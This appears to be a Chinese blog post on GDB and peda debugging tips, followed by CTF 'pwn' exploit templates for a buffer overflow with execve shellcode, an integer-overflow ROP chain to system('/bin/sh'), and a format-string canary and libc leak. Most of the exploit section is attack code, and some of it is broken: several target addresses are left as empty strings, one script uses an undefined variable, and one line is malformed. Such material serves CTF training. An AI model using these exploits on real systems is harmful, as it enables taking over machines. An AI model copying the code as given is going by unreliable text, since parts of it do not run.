GDB分析ELF文件常用的调试技巧
gdb常用命令
首先是gbd+文件名 静态调试 ,gdb attach +文件名 动态调试
为了方便查看堆栈和寄存器 最好是安装peda插件
安装
可以通过pip直接安装,也可以从github上下载安装
$ pip install peda$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit
命令
-
dumpargs
– 函数将要被调用时,显示将要被传入函数的所有参数(默认会在反汇编代码下方自动显示) -
elfheader
– Get headers information from debugged ELF file -
lookup
– Search for all addresses/references to addresses which belong to a memory range -
patch
– Patch memory start at an address with string/hexstring/int -
pattern
– 生成字符串模板 写入内存 用于定位溢出点 -
procinfo
– Display various info from /proc/pid/ -
pshow
– Show various PEDA options and other settings -
pset
– Set various PEDA options and other settings -
ropsearch
– Search for ROP gadgets in memory -
skeleton
– Generate python exploit code template xormem
– XOR a memory region with a key
更多详细用法请参考官方帮助文档
1. checksec 查看elf编译的保护选项。
2. file [file] 加载objfile
3. disas addr 对地址addr处的指令进行反汇编,addr可以是函数名
4. b *addr 在addr处下一个断点
5. x addr 查看addr处存储的数据值
6. r 运行被调试的程序
7. c 继续运行
8. ni 单步执行不进入
9. si 单步执行并进入
10.vmmap 得到虚拟映射地址
PWN题常用模板
单个发送(pwn库)
#coding=utf-8 #中文乱码
from zio import *
Thread = zio(('./pwn')) #执行同目录下的pwn
Thread = write('a'*64+'\x00\x00\x00\x01') #输入我们的payload
Thread = interact()
//p32(Address) 把32位地址 写成0x形式 同理64位的也是
ZIO库
from zio import *
from pwn import *
Thread = zio(('./pwn'))
#shellcode1='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
shellcode='\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50'
TargetAddress = 0x000000000040066E
Length = len(shellcode)
payload = shellcode+'\x90'*(72-Length)+p64(TargetAddress)
Thread.write(payload)
Thread.interact()
pwn库 有消息接收和判断的
from pwn import *
Shellcode='a'*112+'\x5D\x86\x04\x08'
Target=process('./pwn')
Target.sendline(Shellcode)
Target.recvuntil(':$')
#context.terminal = ['gnome-terminal','-x','sh','-c']
#gdb.attach(proc.pidof(Target)[0])
Target.sendline('zhimakaimen')
Target.interactive()
整数溢出型
from pwn import * #r = remote('127.0.0.1', 9527)
r = process('./pwn3')
r.recvuntil('name \n')
r.sendline('')
#raw_input('debug'
##构造结构可以是:scanf->ret->”%9s”->某地址->system->填充->某地址。
#下面开始构造
r.recvuntil('index\n')
#-2147483648 -->0x80000000 *4后溢出为0
context.terminal = ['gnome-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0])
r.sendline(str(-2147483648 + 14)) #ebp+4的地址处 就是Return函数的地址 现在是一处地址一处值 1
r.recvuntil('value\n')
r.sendline(str(int('', 16))) #jmp scanf
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 15)) #ebp+8
r.recvuntil('value\n')
r.sendline(str(int('0x080487de', 16))) # pop edi
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 16))
r.recvuntil('value\n')
r.sendline(str(int('804884b',16))) #0804884B a9s db '%9s',0
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 17))
r.recvuntil('value\n')
r.sendline(str(int('804a030', 16))) #0804A030 __data_star 804a030 是GOT表的结尾
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 18))
r.recvuntil('value\n')
r.sendline(str(int('', 16))) #system #jmp to system
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 19))
r.recvuntil('value\n')
r.sendline(str(int('804a030', 16))) #0804A030 __data_start db 0
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 20))
r.recvuntil('value\n')
r.sendline(str(int('804a030', 16))) #0804A030 __data_start db 0
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 21))
r.recvuntil('value\n')
r.sendline(str(int('', 16))) ##system #jmp to system
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 22))
r.recvuntil('value\n')
r.sendline(str(int('', 16))) ##system #jmp to system
r.recvuntil('index\n') #相当与让代码结束 执行ret从而执行到我们的流程
r.sendline('-1')
r.recvuntil('value\n')
r.sendline('')
r.recvuntil('0 0 0 0 0 0 0 0 0 0 ')
r.sendline('/bin/sh')
r.interactive()
格式化字符串
from pwn import *
libc=ELF('/lib/i386-linux-gnu/i686/cmov/libc.so.6')
p=process("./pwn2")
context.terminal = ['gnome-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0])
p.recvuntil('name:')
p.sendline('%p.'*40) #输出字符串
leak_data=p.recvuntil('messages:')
address=leak_data.split('.') #将输出的地址分组 然后进行分组
canary=int(address[30],16) #这里为什么是 第30个
stack_addr=int(address[33],16)-0x90+0x8+0x8 #这里也不懂
put_addr=int(address[22],16)-0x144
system_addr=put_addr-(libc.symbols['puts']-libc.symbols['system'])
payload ='a'*100+p32(canary)+'a'*12+p32(system_addr)+'bbbb'+p32(stack_addr)+'/bin/sh\x00'
p.sendline(payload)
p.interactive()